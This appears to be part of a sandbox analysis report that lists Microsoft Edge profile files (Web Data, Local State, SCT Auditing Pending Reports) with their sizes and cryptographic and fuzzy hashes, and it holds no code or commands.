SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 224KB
SHA256 54f95b65bc6410929dbd320ad5345d93a3aa81d656d5333e901925bf18634583
MD5 1c4e2833031b95b46bef0b3a889f36e9
SHA1 5c0f8622b036e21157cf82bd4bc73d1433098752
SHA512 34bbbd9510a771bc6a89f77509d309e7c7941f614e4838859e08d40ba9f9aff2a025ad5bd2c1e66fb709e7fa3d5a792baeb232f7671aa4aa16b9c270d8ef95b5
SSDEEP 192:P+xjfT8w0QQnG2IMW1hPJubRd6vPtcdCewdbsc7V1VJ:mxjfQ9QQn7IMW1hPJuVd6vPkxW
TLSH
T14124640A7B787001EDE3D9725CB080771E3CA16DCF22A6915DB654694EB2853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 43e1a4ca623d261efcaff56afdeac8e72688d0362905a032faf9988a02471b61
MD5 67dedfbb8e15d0771039c572ab19c17c
SHA1 5b0064215f39878c1774be255cd3e27e3e019629
SHA512 b91704063c6a8841ba79597f8616255346e14c30c1df89bccf5f08ecabd3d22cfbc50658f688540d34cc00fe594de8d9166dc960467400e9a5463175ffb39cf3
SSDEEP 192:vONa6Db6QmiUyO+HBa+jpOmZvxRg0JFU6:vONa6uGHBa+9OZ0vU6
TLSH
T14A02E73568786CB79EE26E49F88727279FA4103BE9962B54DAD85F0C00D764C2347C27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 1915ceb340db41ac7b64c251ce828232d893d265b971fb562d7bcdfb4f5ca41f
MD5 75deeb2f332a4547dd5e169fa712f521
SHA1 a6e6f88946652a09ebfb17136a9b1e39012d3080
SHA512 deae22d9f1aa84f941bdb312e04f73a04f5dea0b1e841522099c090ab3a9f1320affcc62d6671c99794b02340ccef72385873358730a900e3b9410e6152f76bd
SSDEEP 192:FONp6DbyQmiUze+pBa+jpOmZv6sNz0i1PU6:FONp62XpBa+9O5s0iU6
TLSH
T1EB120A3679789C675DD16854F48732179EF44127EA8A6B90D5DC2F0C01EBA9C230BC27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download